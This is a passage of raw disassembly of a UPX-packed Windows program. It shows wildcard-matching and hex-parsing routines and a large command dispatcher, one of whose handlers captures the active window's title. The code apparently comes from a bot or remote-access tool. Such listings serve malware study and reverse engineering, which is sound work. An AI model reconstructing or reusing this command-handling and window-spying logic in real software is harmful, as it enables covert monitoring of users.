		push	offset dword_41E3A8
		call	sub_409C7A
		pop	ecx
		cmp	[ebp+var_1118],	0
		jz	short loc_40A492
		jmp	short loc_40A497
; ---------------------------------------------------------------------------


loc_40A492:				; CODE XREF: sub_40A2D2+1BCj
		jmp	loc_40A3CE
; ---------------------------------------------------------------------------


loc_40A497:				; CODE XREF: sub_40A2D2+112j
					; sub_40A2D2+1BEj
		push	[ebp+var_8]
		call	sub_40538D
		pop	ecx
		mov	al, 1

locret_40A4A2:				; CODE XREF: sub_40A2D2+62j
					; sub_40A2D2+B8j ...
		leave
		retn
sub_40A2D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A4A4	proc near		; DATA XREF: sub_40A50E+A1o

var_3A8		= dword	ptr -3A8h
var_2A4		= byte ptr -2A4h
var_1A4		= byte ptr -1A4h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3A8h
		push	3A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3A8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_3A8]
		push	eax
		call	sub_40A2D2
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jnz	short loc_40A4FC
		lea	eax, [ebp+var_2A4]
		push	eax
		push	offset dword_419698
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40A4FC:				; CODE XREF: sub_40A4A4+3Bj
		push	[ebp+var_3A8]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40A4A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A50E	proc near		; CODE XREF: sub_40A9CF+FE3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A51D
		jmp	locret_40A5BC
; ---------------------------------------------------------------------------


loc_40A51D:				; CODE XREF: sub_40A50E+8j
		push	3A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40A536
		jmp	locret_40A5BC
; ---------------------------------------------------------------------------


loc_40A536:				; CODE XREF: sub_40A50E+21j
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_40A562
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_40A586
; ---------------------------------------------------------------------------


loc_40A562:				; CODE XREF: sub_40A50E+3Dj
		push	offset dword_4196D4
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_4105FB
		pop	ecx


loc_40A586:				; CODE XREF: sub_40A50E+52j
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 204h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_4196B4
		push	0
		push	[ebp+var_4]
		push	offset sub_40A4A4
		call	sub_4095A4
		add	esp, 18h

locret_40A5BC:				; CODE XREF: sub_40A50E+Aj
					; sub_40A50E+23j
		leave
		retn
sub_40A50E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5BE	proc near		; CODE XREF: sub_40A5BE+32p
					; sub_40A5BE+70p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A603
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A5DD
		mov	al, 1
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A5DD:				; CODE XREF: sub_40A5BE+16j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A5FC
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		push	[ebp+arg_0]
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A5FC:				; CODE XREF: sub_40A5BE+28j
		xor	al, al
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A603:				; CODE XREF: sub_40A5BE+Cj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A614
		xor	al, al
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A614:				; CODE XREF: sub_40A5BE+4Dj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A63A
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A63A:				; CODE XREF: sub_40A5BE+64j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40A65B
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A65B:				; CODE XREF: sub_40A5BE+85j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A69E
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jl	short loc_40A67C
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 39h
		jle	short loc_40A687


loc_40A67C:				; CODE XREF: sub_40A5BE+B1j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A69A


loc_40A687:				; CODE XREF: sub_40A5BE+BCj
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A69A:				; CODE XREF: sub_40A5BE+C7j
		xor	al, al
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A69E:				; CODE XREF: sub_40A5BE+A6j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A6E7
		and	[ebp+var_4], 0
		jmp	short loc_40A6B6
; ---------------------------------------------------------------------------


loc_40A6AF:				; CODE XREF: sub_40A5BE:loc_40A6E5j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40A6B6:				; CODE XREF: sub_40A5BE+EFj
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40A6D4
		mov	al, 1
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A6D4:				; CODE XREF: sub_40A5BE+110j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A6E5
		xor	al, al
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A6E5:				; CODE XREF: sub_40A5BE+121j
		jmp	short loc_40A6AF
; ---------------------------------------------------------------------------


loc_40A6E7:				; CODE XREF: sub_40A5BE+E9j
		xor	al, al

locret_40A6E9:				; CODE XREF: sub_40A5BE+1Aj
					; sub_40A5BE+39j ...
		leave
		retn
sub_40A5BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A6EB	proc near		; CODE XREF: sub_4097A7+10Ap
					; sub_4098F3+155p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A730
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A70A
		mov	al, 1
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A70A:				; CODE XREF: sub_40A6EB+16j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A729
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		push	[ebp+arg_0]
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A729:				; CODE XREF: sub_40A6EB+28j
		xor	al, al
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A730:				; CODE XREF: sub_40A6EB+Cj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A741
		xor	al, al
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A741:				; CODE XREF: sub_40A6EB+4Dj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A767
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A767:				; CODE XREF: sub_40A6EB+64j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 41h
		jl	short loc_40A77D
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ah
		jle	short loc_40A793


loc_40A77D:				; CODE XREF: sub_40A6EB+85j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 61h
		jl	short loc_40A7BC
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 7Ah
		jg	short loc_40A7BC


loc_40A793:				; CODE XREF: sub_40A6EB+90j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		xor	eax, 20h
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A7BC
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A7BC:				; CODE XREF: sub_40A6EB+9Bj
					; sub_40A6EB+A6j ...
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40A7DD
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A7DD:				; CODE XREF: sub_40A6EB+DAj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A820
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jl	short loc_40A7FE
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 39h
		jle	short loc_40A809


loc_40A7FE:				; CODE XREF: sub_40A6EB+106j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A81C


loc_40A809:				; CODE XREF: sub_40A6EB+111j
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A81C:				; CODE XREF: sub_40A6EB+11Cj
		xor	al, al
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A820:				; CODE XREF: sub_40A6EB+FBj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A869
		and	[ebp+var_4], 0
		jmp	short loc_40A838
; ---------------------------------------------------------------------------


loc_40A831:				; CODE XREF: sub_40A6EB:loc_40A867j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40A838:				; CODE XREF: sub_40A6EB+144j
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40A856
		mov	al, 1
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A856:				; CODE XREF: sub_40A6EB+165j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A867
		xor	al, al
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A867:				; CODE XREF: sub_40A6EB+176j
		jmp	short loc_40A831
; ---------------------------------------------------------------------------


loc_40A869:				; CODE XREF: sub_40A6EB+13Ej
		xor	al, al

locret_40A86B:				; CODE XREF: sub_40A6EB+1Aj
					; sub_40A6EB+39j ...
		leave
		retn
sub_40A6EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A86D	proc near		; CODE XREF: sub_40A8AD+FDp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_4], 1
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A884
		push	1
		pop	eax
		jmp	short locret_40A8AB
; ---------------------------------------------------------------------------


loc_40A884:				; CODE XREF: sub_40A86D+10j
		mov	[ebp+var_8], 1
		jmp	short loc_40A894
; ---------------------------------------------------------------------------


loc_40A88D:				; CODE XREF: sub_40A86D+39j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40A894:				; CODE XREF: sub_40A86D+1Ej
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]


loc_40A89A:				; DATA XREF: UPX1:0041AE78o
					; UPX1:0041AEBCo ...
		jg	short loc_40A8A8
		mov	eax, [ebp+var_4]
		imul	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		jmp	short loc_40A88D
; ---------------------------------------------------------------------------


loc_40A8A8:				; CODE XREF: sub_40A86D:loc_40A89Aj
		mov	eax, [ebp+var_4]

locret_40A8AB:				; CODE XREF: sub_40A86D+15j
		leave
		retn
sub_40A86D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A8AD	proc near		; CODE XREF: sub_406509+26p
					; sub_40A9CF+193Fp ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	esi
		push	edi
		mov	[ebp+var_4], 1
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_20], 0
		mov	esi, offset aAbcdef ; "abcdef"
		lea	edi, [ebp+var_1C]
		movsd
		movsw
		movsb
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jnz	short loc_40A90C
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 78h
		jz	short loc_40A905
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 58h
		jnz	short loc_40A90C


loc_40A905:				; CODE XREF: sub_40A8AD+48j
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax


loc_40A90C:				; CODE XREF: sub_40A8AD+33j
					; sub_40A8AD+56j
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_14], eax
		jmp	short loc_40A927
; ---------------------------------------------------------------------------


loc_40A920:				; CODE XREF: sub_40A8AD+116j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax


loc_40A927:				; CODE XREF: sub_40A8AD+71j
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+var_28]
		jge	loc_40A9C8
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_14]
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_416DE4	; tolower
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 30h
		jl	short loc_40A95D
		cmp	[ebp+var_8], 39h
		jg	short loc_40A95D
		mov	eax, [ebp+var_8]
		sub	eax, 30h
		mov	[ebp+var_10], eax
		jmp	short loc_40A9A0
; ---------------------------------------------------------------------------


loc_40A95D:				; CODE XREF: sub_40A8AD+9Dj
					; sub_40A8AD+A3j
		cmp	[ebp+var_8], 61h
		jl	short loc_40A99C
		cmp	[ebp+var_8], 66h
		jg	short loc_40A99C
		and	[ebp+var_24], 0
		jmp	short loc_40A976
; ---------------------------------------------------------------------------


loc_40A96F:				; CODE XREF: sub_40A8AD:loc_40A998j
		mov	eax, [ebp+var_24]
		inc	eax
		mov	[ebp+var_24], eax


loc_40A976:				; CODE XREF: sub_40A8AD+C0j
		mov	eax, [ebp+var_24]
		movsx	eax, [ebp+eax+var_1C]
		test	eax, eax
		jz	short loc_40A99A
		mov	eax, [ebp+var_24]
		movsx	eax, [ebp+eax+var_1C]
		cmp	[ebp+var_8], eax
		jnz	short loc_40A998
		mov	eax, [ebp+var_24]
		add	eax, 0Ah
		mov	[ebp+var_10], eax


loc_40A998:				; CODE XREF: sub_40A8AD+E0j
		jmp	short loc_40A96F
; ---------------------------------------------------------------------------


loc_40A99A:				; CODE XREF: sub_40A8AD+D3j
		jmp	short loc_40A9A0
; ---------------------------------------------------------------------------


loc_40A99C:				; CODE XREF: sub_40A8AD+B4j
					; sub_40A8AD+BAj
		xor	eax, eax
		jmp	short loc_40A9CB
; ---------------------------------------------------------------------------


loc_40A9A0:				; CODE XREF: sub_40A8AD+AEj
					; sub_40A8AD:loc_40A99Aj
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_14]
		dec	eax
		push	eax
		push	10h
		call	sub_40A86D
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		imul	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		add	ecx, eax
		mov	[ebp+var_C], ecx
		jmp	loc_40A920
; ---------------------------------------------------------------------------


loc_40A9C8:				; CODE XREF: sub_40A8AD+80j
		mov	eax, [ebp+var_C]


loc_40A9CB:				; CODE XREF: sub_40A8AD+F1j
		pop	edi
		pop	esi
		leave
		retn
sub_40A8AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9CF	proc near		; CODE XREF: sub_40D871+C95p
					; sub_40D871+D9Cp

var_6424	= dword	ptr -6424h
var_6420	= dword	ptr -6420h
var_641C	= dword	ptr -641Ch
var_6418	= dword	ptr -6418h
var_6414	= dword	ptr -6414h
var_6410	= dword	ptr -6410h
var_640C	= dword	ptr -640Ch
var_6408	= dword	ptr -6408h
var_6404	= dword	ptr -6404h
var_6400	= dword	ptr -6400h
var_63FC	= dword	ptr -63FCh
var_63F8	= dword	ptr -63F8h
var_63F4	= dword	ptr -63F4h
var_63F0	= dword	ptr -63F0h
var_63EC	= dword	ptr -63ECh
var_63E8	= dword	ptr -63E8h
var_63E4	= dword	ptr -63E4h
var_63E0	= dword	ptr -63E0h
var_63DC	= dword	ptr -63DCh
var_63D8	= dword	ptr -63D8h
var_63D4	= dword	ptr -63D4h
var_63D0	= dword	ptr -63D0h
var_63CC	= dword	ptr -63CCh
var_63C8	= dword	ptr -63C8h
var_63C4	= dword	ptr -63C4h
var_63C0	= dword	ptr -63C0h
var_63BC	= dword	ptr -63BCh
var_63B8	= dword	ptr -63B8h
var_63B4	= word ptr -63B4h
var_63B2	= word ptr -63B2h
var_63B0	= dword	ptr -63B0h
var_63A4	= dword	ptr -63A4h
var_63A0	= byte ptr -63A0h
var_639C	= dword	ptr -639Ch
var_6398	= byte ptr -6398h
var_6397	= byte ptr -6397h
var_6396	= byte ptr -6396h
var_6395	= byte ptr -6395h
var_6394	= byte ptr -6394h
var_6393	= byte ptr -6393h
var_6392	= byte ptr -6392h
var_6391	= byte ptr -6391h
var_6390	= byte ptr -6390h
var_638F	= byte ptr -638Fh
var_638E	= byte ptr -638Eh
var_638D	= byte ptr -638Dh
var_638C	= dword	ptr -638Ch
var_6388	= byte ptr -6388h
var_5F84	= dword	ptr -5F84h
var_5F80	= byte ptr -5F80h
var_5B7C	= dword	ptr -5B7Ch
var_5B78	= dword	ptr -5B78h
var_5B74	= byte ptr -5B74h
var_5A70	= dword	ptr -5A70h
var_5A6C	= dword	ptr -5A6Ch
var_5A68	= dword	ptr -5A68h
var_5A64	= byte ptr -5A64h
var_1A64	= dword	ptr -1A64h
var_1A60	= byte ptr -1A60h
var_A60		= dword	ptr -0A60h
var_A5C		= byte ptr -0A5Ch
var_A38		= byte ptr -0A38h
var_A30		= dword	ptr -0A30h
var_A2C		= dword	ptr -0A2Ch
var_A28		= dword	ptr -0A28h
var_A24		= dword	ptr -0A24h
var_A20		= dword	ptr -0A20h
var_A1C		= dword	ptr -0A1Ch
var_A18		= byte ptr -0A18h
var_9F8		= dword	ptr -9F8h
var_9F4		= byte ptr -9F4h
var_9EF		= byte ptr -9EFh
var_9EA		= byte ptr -9EAh
var_9E5		= byte ptr -9E5h
var_9E0		= byte ptr -9E0h
var_9DB		= byte ptr -9DBh
var_9D8		= byte ptr -9D8h
var_9A4		= byte ptr -9A4h
var_970		= byte ptr -970h
var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_8D3		= byte ptr -8D3h
var_8D2		= byte ptr -8D2h
var_8CD		= byte ptr -8CDh
var_8CC		= byte ptr -8CCh
var_8C7		= byte ptr -8C7h
var_8C6		= byte ptr -8C6h
var_8C1		= byte ptr -8C1h
var_8C0		= byte ptr -8C0h
var_8BB		= byte ptr -8BBh
var_8B8		= byte ptr -8B8h
var_8A0		= byte ptr -8A0h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_718		= byte ptr -718h
var_59B		= byte ptr -59Bh
var_598		= byte ptr -598h
var_418		= dword	ptr -418h
var_414		= byte ptr -414h
var_214		= byte ptr -214h
var_1F0		= byte ptr -1F0h
var_1CC		= byte ptr -1CCh
var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
var_183		= byte ptr -183h
var_83		= dword	ptr -83h
var_7F		= byte ptr -7Fh
var_19		= byte ptr -19h
var_B		= byte ptr -0Bh
var_8		= byte ptr -8
var_5		= dword	ptr -5
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		mov	eax, 6424h
		call	sub_416BC0
		push	esi
		push	edi
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax]
		call	sub_40ED38
		pop	ecx
		mov	[ebp+var_1A8], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_183]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_83], eax
		push	7Ah
		push	[ebp+arg_10]
		lea	eax, [ebp+var_7F]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	[ebp+var_5], 1
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419F18
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AA59
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_415AF0
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AA59:				; CODE XREF: sub_40A9CF+76j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419F0C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AACF
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40AAAC
		lea	eax, [ebp+var_214]
		push	eax
		lea	eax, [ebp+var_1F0]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40668F
		add	esp, 0Ch
		lea	eax, [ebp+var_1CC]
		push	eax
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AAAC:				; CODE XREF: sub_40A9CF+A6j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D7E5
		pop	ecx
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AACF:				; CODE XREF: sub_40A9CF+9Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419EF8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AB21
		push	200h
		lea	eax, [ebp+var_414]
		push	eax
		call	ds:dword_4171D8	; GetForegroundWindow
		push	eax
		call	ds:dword_4171E4	; GetWindowTextA
		test	eax, eax
		jle	short loc_40AB1C
		lea	eax, [ebp+var_414]
		push	eax
		push	offset dword_419EDC
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40AB1C:				; CODE XREF: sub_40A9CF+130j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AB21:				; CODE XREF: sub_40A9CF+113j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419ED0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AB56
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4077DD
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AB56:				; CODE XREF: sub_40A9CF+165j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419EC4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40AC89
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jz	loc_40AC84
		push	180h
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_418], eax
		cmp	[ebp+var_418], 3
		jle	short loc_40ABFE
		push	offset dword_419EC0
		mov	eax, [ebp+var_418]
		lea	eax, [ebp+eax+var_59B]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40ABFE
		mov	eax, [ebp+var_418]
		and	[ebp+eax+var_59B], 0
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_4078A0
		pop	ecx
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_418], eax


loc_40ABFE:				; CODE XREF: sub_40A9CF+1E1j
					; sub_40A9CF+1FFj
		mov	eax, [ebp+var_418]
		cdq
		push	4
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_418]
		sub	ecx, eax
		cmp	ecx, 180h
		jbe	short loc_40AC1F
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AC1F:				; CODE XREF: sub_40A9CF+249j
		push	[ebp+var_418]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EF29
		pop	ecx
		pop	ecx
		push	[ebp+var_418]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EF59
		pop	ecx
		pop	ecx
